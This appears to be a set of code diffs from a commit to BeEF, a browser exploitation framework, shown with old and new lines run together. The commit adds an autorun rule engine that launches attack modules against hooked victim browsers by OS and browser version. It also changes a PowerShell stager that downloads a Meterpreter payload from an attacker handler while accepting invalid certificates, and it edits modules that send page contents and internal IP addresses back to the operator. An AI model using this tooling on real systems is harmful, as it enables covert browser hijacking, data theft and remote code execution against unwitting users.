beef.regCmp("beef.are"); beef.regCmp("beef.are");

View File

@@ -2296,6 +2296,7 @@ beef.browser = {
var browser_plugins = beef.browser.getPlugins(); var browser_plugins = beef.browser.getPlugins();
var date_stamp = new Date().toString(); var date_stamp = new Date().toString();
var os_name = beef.os.getName(); var os_name = beef.os.getName();
var os_version = beef.os.getVersion();
var default_browser = beef.os.getDefaultBrowser(); var default_browser = beef.os.getDefaultBrowser();
var hw_name = beef.hardware.getName(); var hw_name = beef.hardware.getName();
var cpu_type = beef.hardware.cpuType(); var cpu_type = beef.hardware.cpuType();
@@ -2343,6 +2344,7 @@ beef.browser = {
if (hostport) details['HostPort'] = hostport; if (hostport) details['HostPort'] = hostport;
if (browser_plugins) details['BrowserPlugins'] = browser_plugins; if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
if (os_name) details['OsName'] = os_name; if (os_name) details['OsName'] = os_name;
if (os_version) details['OsVersion'] = os_version;
if (default_browser) details['DefaultBrowser'] = default_browser; if (default_browser) details['DefaultBrowser'] = default_browser;
if (hw_name) details['Hardware'] = hw_name; if (hw_name) details['Hardware'] = hw_name;
if (cpu_type) details['CPU'] = cpu_type; if (cpu_type) details['CPU'] = cpu_type;

View File

@@ -69,13 +69,11 @@ function beef_init() {
beef.net.browser_details(); beef.net.browser_details();
beef.updater.execute_commands(); beef.updater.execute_commands();
beef.logger.start(); beef.logger.start();
beef.are.init();
}else { }else {
beef.net.browser_details(); beef.net.browser_details();
beef.updater.execute_commands(); beef.updater.execute_commands();
beef.updater.check(); beef.updater.check();
beef.logger.start(); beef.logger.start();
beef.are.init();
} }
} }
} }

View File

@@ -35,6 +35,7 @@ beef.net = {
command: function () { command: function () {
this.cid = null; this.cid = null;
this.results = null; this.results = null;
this.status = null;
this.handler = null; this.handler = null;
this.callback = null; this.callback = null;
}, },
@@ -84,13 +85,15 @@ beef.net = {
* @param: {String} handler: the server-side handler that will be called * @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id * @param: {Integer} cid: command id
* @param: {String} results: the data to send * @param: {String} results: the data to send
* @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param: {Function} callback: the function to call after execution * @param: {Function} callback: the function to call after execution
*/ */
queue: function (handler, cid, results, callback) { queue: function (handler, cid, results, status, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) { if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
var s = new beef.net.command(); var s = new beef.net.command();
s.cid = cid; s.cid = cid;
s.results = beef.net.clean(results); s.results = beef.net.clean(results);
s.status = status;
s.callback = callback; s.callback = callback;
s.handler = handler; s.handler = handler;
this.cmd_queue.push(s); this.cmd_queue.push(s);
@@ -105,22 +108,32 @@ beef.net = {
* @param: {String} handler: the server-side handler that will be called * @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id * @param: {Integer} cid: command id
* @param: {String} results: the data to send * @param: {String} results: the data to send
* @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param: {Function} callback: the function to call after execution * @param: {Function} callback: the function to call after execution
* @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
*/ */
send: function (handler, cid, results, callback) { send: function (handler, cid, results, exec_status, callback) {
// defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
var status = 0;
if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) { if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
this.queue(handler, cid, results, callback); this.queue(handler, cid, results, status, callback);
this.flush(); this.flush();
} else { } else {
try { try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }'); '", "status": "' + exec_status +
'", "callback": "' + callback +
'","bh":"' + beef.session.get_hook_session_id() + '" }');
} catch (e) { } catch (e) {
this.queue(handler, cid, results, callback); this.queue(handler, cid, results, status, callback);
this.flush(); this.flush();
} }
} }
return status;
}, },
/** /**

View File

@@ -30,6 +30,7 @@ beef.os = {
return result; return result;
}, },
// the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
isWin311: function() { isWin311: function() {
return (this.ua.match('(Win16)')) ? true : false; return (this.ua.match('(Win16)')) ? true : false;
}, },
@@ -101,6 +102,19 @@ beef.os = {
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false; return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
}, },
isOsxYosemite: function(){ // TODO
return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
},
isOsxMavericks: function(){ // TODO
return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
},
isOsxSnowLeopard: function(){ // TODO
return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
},
isOsxLeopard: function(){ // TODO
return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
},
isWinPhone: function() { isWinPhone: function() {
return (this.ua.match('(Windows Phone)')) ? true : false; return (this.ua.match('(Windows Phone)')) ? true : false;
}, },
@@ -142,34 +156,24 @@ beef.os = {
}, },
isWindows: function() { isWindows: function() {
return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWin81() || this.isWinPhone(); return (this.ua.match('Windows')) ? true : false;
}, },
getName: function() { getName: function() {
//Windows
if(this.isWin311()) return 'Windows 3.11'; if(this.isWindows()){
if(this.isWinNT4()) return 'Windows NT 4'; return 'Windows';
if(this.isWinCE()) return 'Windows CE'; }
if(this.isWin95()) return 'Windows 95';
if(this.isWin98()) return 'Windows 98'; if(this.isMacintosh()) {
if(this.isWinME()) return 'Windows Millenium'; return 'OSX';
if(this.isWin2000()) return 'Windows 2000'; }
if(this.isWin2000SP1()) return 'Windows 2000 SP1';
if(this.isWinXP()) return 'Windows XP';
if(this.isWinServer2003()) return 'Windows Server 2003';
if(this.isWinVista()) return 'Windows Vista';
if(this.isWin7()) return 'Windows 7';
if(this.isWin8()) return 'Windows 8';
if(this.isWin81()) return 'Windows 8.1';
//Nokia //Nokia
if(this.isNokia()) { if(this.isNokia()) {
if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo'; if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS'; if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
if (this.ua.indexOf('Symbian') != -1) return 'Symbian'; if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
//return 'Nokia';
} }
// BlackBerry // BlackBerry
@@ -178,7 +182,7 @@ beef.os = {
// Android // Android
if(this.isAndroid()) return 'Android'; if(this.isAndroid()) return 'Android';
//linux //Linux
if(this.isLinux()) return 'Linux'; if(this.isLinux()) return 'Linux';
if(this.isSunOS()) return 'Sun OS'; if(this.isSunOS()) return 'Sun OS';
@@ -189,23 +193,42 @@ beef.os = {
//iPod //iPod
if (this.isIpod()) return 'iOS'; if (this.isIpod()) return 'iOS';
// zune
//if (this.isZune()) return 'Zune';
//macintosh
if(this.isMacintosh()) {
if((typeof navigator.oscpu != 'undefined') && (navigator.oscpu.indexOf('Mac OS')!=-1))
return navigator.oscpu;
return 'Macintosh';
}
//others //others
if(this.isQNX()) return 'QNX'; if(this.isQNX()) return 'QNX';
if(this.isBeOS()) return 'BeOS'; if(this.isBeOS()) return 'BeOS';
if(this.isWebOS()) return 'webOS'; if(this.isWebOS()) return 'webOS';
return 'unknown'; return 'unknown';
},
getVersion: function(){
//Windows
if(this.isWindows()) {
if (this.isWin81()) return '8.1';
if (this.isWin8()) return '8';
if (this.isWin7()) return '7';
if (this.isWinVista()) return 'Vista';
if (this.isWinXP()) return 'XP';
if (this.isWinServer2003()) return 'Server 2003';
if (this.isWin2000SP1()) return '2000 SP1';
if (this.isWin2000()) return '2000';
if (this.isWinME()) return 'Millenium';
if (this.isWinNT4()) return 'NT 4';
if (this.isWinCE()) return 'CE';
if (this.isWin95()) return '95';
if (this.isWin98()) return '98';
}
// OS X
if(this.isMacintosh()) {
if (this.isOsxYosemite()) return '10.10';
if (this.isOsxMavericks()) return '10.9';
if (this.isOsxSnowLeopard()) return '10.8';
if (this.isOsxLeopard()) return '10.7';
}
// TODO add Android/iOS version detection
} }
}; };

View File

@@ -14,4 +14,4 @@
Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
antisnatchor antisnatchor
*/ */
setTimeout(beef_init, 1000); //setTimeout(beef_init, 1000);

View File

@@ -216,7 +216,7 @@ module BeEF
self.err_msg "Invalid cookies returned from the hook browser's initial connection." self.err_msg "Invalid cookies returned from the hook browser's initial connection."
end end
# get and store the os name # get and store the OS name
os_name = get_param(@data['results'], 'OsName') os_name = get_param(@data['results'], 'OsName')
if BeEF::Filters.is_valid_osname?(os_name) if BeEF::Filters.is_valid_osname?(os_name)
BD.set(session_id, 'OsName', os_name) BD.set(session_id, 'OsName', os_name)
@@ -224,6 +224,10 @@ module BeEF
self.err_msg "Invalid operating system name returned from the hook browser's initial connection." self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
end end
# get and store the OS version (without checks as it can be very different or even empty, for instance on linux/bsd)
os_version = get_param(@data['results'], 'OsVersion')
BD.set(session_id, 'OsVersion', os_version)
# get and store default browser # get and store default browser
default_browser = get_param(@data['results'], 'DefaultBrowser') default_browser = get_param(@data['results'], 'DefaultBrowser')
BD.set(session_id, 'DefaultBrowser', default_browser) BD.set(session_id, 'DefaultBrowser', default_browser)
@@ -349,7 +353,7 @@ module BeEF
end end
# log a few info of newly hooked zombie in the console # log a few info of newly hooked zombie in the console
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]" print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
# add localhost as network host # add localhost as network host
if config.get('beef.extension.network.enable') if config.get('beef.extension.network.enable')
@@ -358,27 +362,13 @@ module BeEF
r.save r.save
end end
# Call autorun modules # Autorun Rule Engine - Check if the hooked browser type/version and OS type/version match any Rule-sets
if config.get('beef.autorun.enable') # stored in the BeEF::Core::AutorunEngine::Models::Rule database table
autorun = [] # If one or more Rule-sets do match, trigger the module chain specified
BeEF::Core::Configuration.instance.get('beef.module').each { |k, v| #
if v.has_key?('autorun') and v['autorun'] == true are = BeEF::Core::AutorunEngine::Engine.instance
target_status = BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) match_rules = are.match(browser_name, browser_version, os_name, os_version)
if target_status == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING are.trigger(match_rules, zombie.id) if match_rules.length > 0
BeEF::Module.execute(k, session_id)
autorun.push(k)
elsif target_status == BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY and config.get('beef.autorun.allow_user_notify')
BeEF::Module.execute(k, session_id)
autorun.push(k)
else
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
end
end
}
if autorun.length > 0
print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
end
end
if config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable')
# get and store the browser plugins # get and store the browser plugins

View File

@@ -42,7 +42,7 @@ module BeEF
# @note get and check session id from the request # @note get and check session id from the request
beefhook = get_param(@data, 'beefhook') beefhook = get_param(@data, 'beefhook')
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook) (print_error "BeEF hook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
result = get_param(@data, 'results') result = get_param(@data, 'results')
@@ -57,11 +57,14 @@ module BeEF
# @note get/set details for datastore and log entry # @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname command_friendly_name = command.friendlyname
(print_error "command friendly name is empty"; return) if command_friendly_name.empty? (print_error "command friendly name is empty"; return) if command_friendly_name.empty?
command_results = get_param(@data, 'results')
(print_error "command results are empty"; return) if command_results.empty? command_status = @data['status']
command_results = @data['results']
(print_error "command results or status are empty"; return) if command_results.empty?
# @note save the command module results to the datastore and create a log entry # @note save the command module results to the datastore and create a log entry
command_results = {'data' => command_results} command_results = {'data' => command_results}
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results) BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results, command_status)
end end

View File

@@ -79,6 +79,13 @@ module Handlers
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
# TODO this is not considering WebSocket channel, as data is sent from core/main/handlers/modules/command.rb if WS is enabled
are_executions = BeEF::Core::AutorunEngine::Models::Execution.all(:is_sent => false, :session => hook_session_id)
are_executions.each do |are_exec|
@body += are_exec.mod_body
are_exec.update(:is_sent => true, :exec_time => Time.new.to_i)
end
# @note We dynamically get the list of all browser hook handler using the API and register them # @note We dynamically get the list of all browser hook handler using the API and register them
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, request, response) BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, request, response)
end end

View File

@@ -21,7 +21,7 @@ module BeEF
beef_js_path = "#{$root_dir}/core/main/client/" beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js) ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/mdetect.js)
# @note BeEF libraries: need Eruby evaluation and obfuscation # @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js) beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)

View File

@@ -38,7 +38,7 @@ module BeEF
command_module.build_datastore(command.data) command_module.build_datastore(command.data)
command_module.pre_send command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
ws = BeEF::Core::Websocket::Websocket.instance ws = BeEF::Core::Websocket::Websocket.instance

View File

@@ -23,12 +23,13 @@ module Models
has n, :results has n, :results
# Save results and flag that the command has been run on the hooked browser # Save results and flag that the command has been run on the hooked browser
# @param [String] hook_session_id The session_id. # @param [String] hook_session_id The session_id.
# @param [String] command_id The command_id. # @param [String] command_id The command_id.
# @param [String] command_friendly_name The command friendly name. # @param [String] command_friendly_name The command friendly name.
# @param [String] result The result of the command module. # @param [String] result The result of the command module.
def self.save_result(hook_session_id, command_id, command_friendly_name, result) def self.save_result(hook_session_id, command_id, command_friendly_name, result, status)
# @note enforcing arguments types # @note enforcing arguments types
command_id = command_id.to_i command_id = command_id.to_i
@@ -37,6 +38,7 @@ module Models
raise Exception::TypeError, '"command_id" needs to be an integer' if not command_id.integer? raise Exception::TypeError, '"command_id" needs to be an integer' if not command_id.integer?
raise Exception::TypeError, '"command_friendly_name" needs to be a string' if not command_friendly_name.string? raise Exception::TypeError, '"command_friendly_name" needs to be a string' if not command_friendly_name.string?
raise Exception::TypeError, '"result" needs to be a hash' if not result.hash? raise Exception::TypeError, '"result" needs to be a hash' if not result.hash?
raise Exception::TypeError, '"status" needs to be an integer' if not status.integer?
# @note get the hooked browser structure and id from the database # @note get the hooked browser structure and id from the database
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) || nil hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) || nil
@@ -51,20 +53,29 @@ module Models
raise Exception::TypeError, "command is nil" if command.nil? raise Exception::TypeError, "command is nil" if command.nil?
# @note create the entry for the results # @note create the entry for the results
command.results.new(:hooked_browser_id => hooked_browser_id, :data => result.to_json, :date => Time.now.to_i) command.results.new(:hooked_browser_id => hooked_browser_id,
:data => result.to_json,:status => status,:date => Time.now.to_i)
command.save command.save
# @note log that the result was returned s = self.show_status(status)
BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']", hooked_browser_id) log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions (status: #{s}) from command module [id:#{command_id}, name:'#{command_friendly_name}']"
BeEF::Core::Logger.instance.register('Command', log, hooked_browser_id)
# @note prints the event into the console print_info log
if BeEF::Settings.console?
print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']"
end end
def self.show_status(status)
case status
when -1
result = 'ERROR'
when 1
result = 'SUCCESS'
else
result = 'UNKNOWN'
end
result
end end
end end
end end
end end
end end

View File

@@ -15,6 +15,7 @@ module Models
property :id, Serial property :id, Serial
property :date, String, :length => 15, :lazy => false property :date, String, :length => 15, :lazy => false
property :status, Integer
property :data, Text property :data, Text
end end

View File

@@ -43,13 +43,20 @@ module BeEF
end end
end end
module RegisterAutorunHandler
def self.mount_handler(server)
server.mount('/api/autorun', BeEF::Core::Rest::AutorunEngine.new)
end
end
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler')
# #
# Check the source IP is within the permitted subnet # Check the source IP is within the permitted subnet

View File

@@ -0,0 +1,66 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Rest
class AutorunEngine < BeEF::Core::Router::Router
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
# Add a new ruleset. Returne the rule_id if request was successful
post '/rule/add' do
request.body.rewind
begin
data = JSON.parse request.body.read
rloader = BeEF::Core::AutorunEngine::RuleLoader.instance
rloader.load(data)
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset ERROR. #{e.message}"
{ 'success' => false, 'error' => err }.to_json
end
end
# Trigger a specified rule_id on online hooked browsers. Offline hooked browsers are ignored
post '/rule/trigger/:rule_id' do
begin
rule_id = params[:rule_id]
online_hooks = BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15))
are = BeEF::Core::AutorunEngine::Engine.instance
if online_hooks != nil
online_hooks.each do |hb|
hb_details = BeEF::Core::Models::BrowserDetails
browser_name = hb_details.get(hb.session, 'BrowserName')
browser_version = hb_details.get(hb.session, 'BrowserVersion')
os_name = hb_details.get(hb.session, 'OsName')
os_version = hb_details.get(hb.session, 'OsVersion')
match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id)
are.trigger(match_rules, hb.id) if match_rules.length > 0
end
else
{ 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json
end
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Something went wrong #{e.message}"
{ 'success' => false, 'error' => err }.to_json
end
end
end
end
end
end

View File

@@ -127,7 +127,7 @@ module BeEF
@http_server.start # starts the web server @http_server.start # starts the web server
rescue RuntimeError => e rescue RuntimeError => e
if e.message =~ /no acceptor/ # the port is in use if e.message =~ /no acceptor/ # the port is in use
print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}." print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}, or you're trying to bind BeEF on an invalid IP."
print_error "Is BeEF already running? Exiting..." print_error "Is BeEF already running? Exiting..."
exit 127 exit 127
else else

View File

@@ -17,5 +17,5 @@ beef:
Beef: "Beef" Beef: "Beef"
evercookie: "evercookie" evercookie: "evercookie"
BeEF: "BeEF" BeEF: "BeEF"
chain: ["scramble", "base_64"] chain: ["scramble", "minify"]
# other available obfuscation techniques: ["minify", "base_64", "whitespace"] # other available obfuscation techniques: ["minify", "base_64", "whitespace"]

View File

@@ -48,6 +48,6 @@ beef:
cid10: "bottom-border.png" cid10: "bottom-border.png"
powershell: powershell:
# the default payload being used is windows/meterpreter/reverse_https # the default payload being used is windows/meterpreter/reverse_https
msf_reverse_handler_host: "127.0.0.1" msf_reverse_handler_host: "172.16.45.1"
msf_reverse_handler_port: "443" msf_reverse_handler_port: "443"
powershell_handler_url: "/ps" powershell_handler_url: "/ps"

View File

@@ -400,12 +400,38 @@ function Invoke-ps
{ {
$SSL = 's' $SSL = 's'
# Accept invalid certificates # Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
} }
} }
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? # Meterpreter to initiate stage 0.
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
$x = ""
function sum($v){
return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)
}
function RandomChars{
$f = "";1..3 | foreach-object {$f+= $chars[(Get-Random -maximum $chars.Length)]};
return $f;
}
function RandomArray { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function Generate{
for ($i=0; $i -lt 64; $i++){
$h = RandomChars;$k = $d | RandomArray;
foreach ($l in $k){
$s = $h + $l; if (sum($s)){
return $s}
}
return "9vXU";
}
}
$GeneratedURI = Generate;
$Request = "http$($SSL)://$($Lhost):$($Lport)/$GeneratedURI"
Write-Verbose "Requesting meterpreter payload from $Request" Write-Verbose "Requesting meterpreter payload from $Request"
$Uri = New-Object Uri($Request) $Uri = New-Object Uri($Request)

View File

@@ -5,7 +5,6 @@
// //
beef.execute(function() { beef.execute(function() {
alert("<%== format_multiline(@text) %>"); alert("<%= @text %>");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>");
}); });

View File

@@ -5,8 +5,10 @@
// //
beef.execute(function() { beef.execute(function() {
var head = beef.browser.getPageHead();
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+beef.browser.getPageHead()+'&body='+beef.browser.getPageBody()); var body = beef.browser.getPageBody();
var mod_data = 'head=' + head + '&body=' + body;
beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success());
return [beef.are.status_success(), mod_data];
}); });

View File

@@ -9,7 +9,8 @@ beef.execute(function() {
var str = ''; var str = '';
for (var i=32; i<=127;i++) str += String.fromCharCode(i); for (var i=32; i<=127;i++) str += String.fromCharCode(i);
beef.net.send("<%= @command_url %>", <%= @command_id %>, str); beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
//return [beef.are.status_success(), str];
test_return_ascii_chars_mod_output = [beef.are.status_success(), str];
}); });

View File

@@ -13,7 +13,8 @@ beef.execute(function() {
for (var i = 0; i < iterations; i++) { for (var i = 0; i < iterations; i++) {
str += repeat_value; str += repeat_value;
} }
beef.net.send("<%= @command_url %>", <%= @command_id %>, str); beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
//return [beef.are.status_success(), str];
test_return_long_string_mod_output = [beef.are.status_unknown(), str];
}); });

View File

@@ -8,7 +8,7 @@ beef.execute(function() {
var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function () { if (RTCPeerConnection){
var addrs = Object.create(null); var addrs = Object.create(null);
addrs["0.0.0.0"] = false; addrs["0.0.0.0"] = false;
@@ -24,6 +24,7 @@ beef.execute(function() {
if (evt.candidate){ if (evt.candidate){
beef.debug("a="+evt.candidate.candidate); beef.debug("a="+evt.candidate.candidate);
grepSDP("a="+evt.candidate.candidate); grepSDP("a="+evt.candidate.candidate);
retResults();
} }
}; };
@@ -31,20 +32,29 @@ beef.execute(function() {
rtc.createOffer(function (offerDesc) { rtc.createOffer(function (offerDesc) {
grepSDP(offerDesc.sdp); grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc); rtc.setLocalDescription(offerDesc);
retResults();
}, function (e) { }, function (e) {
beef.debug("SDP Offer Failed"); beef.debug("SDP Offer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed"); beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error());
}); });
function retResults(){
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
// This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way
get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
}
// Return results // Return results
function processIPs(newAddr) { function processIPs(newAddr) {
if (newAddr in addrs) return; if (newAddr in addrs) return;
else addrs[newAddr] = true; else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
beef.debug("Found IPs: "+ displayAddrs.join(",")); beef.debug("Found IPs: "+ displayAddrs.join(","));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(",")); beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success());
} }
// Retrieve IP addresses from SDP // Retrieve IP addresses from SDP
function grepSDP(sdp) { function grepSDP(sdp) {
var hosts = []; var hosts = [];
@@ -61,8 +71,7 @@ beef.execute(function() {
} }
}); });
} }
})(); else { }else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection"); beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error());
} }
}); });

View File

@@ -29,7 +29,8 @@ beef.execute(function() {
}); });
$j(hid).css('cursor','pointer'); $j(hid).css('cursor','pointer');
$j(hid).slideDown(300,function() { $j(hid).slideDown(300,function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success());
}); });
return [beef.are.status_success(), 'Notification has been displayed'];
}); });

View File

@@ -1 +0,0 @@
This is a temp directory where the Firefox extension will be built.

View File

@@ -4,9 +4,9 @@
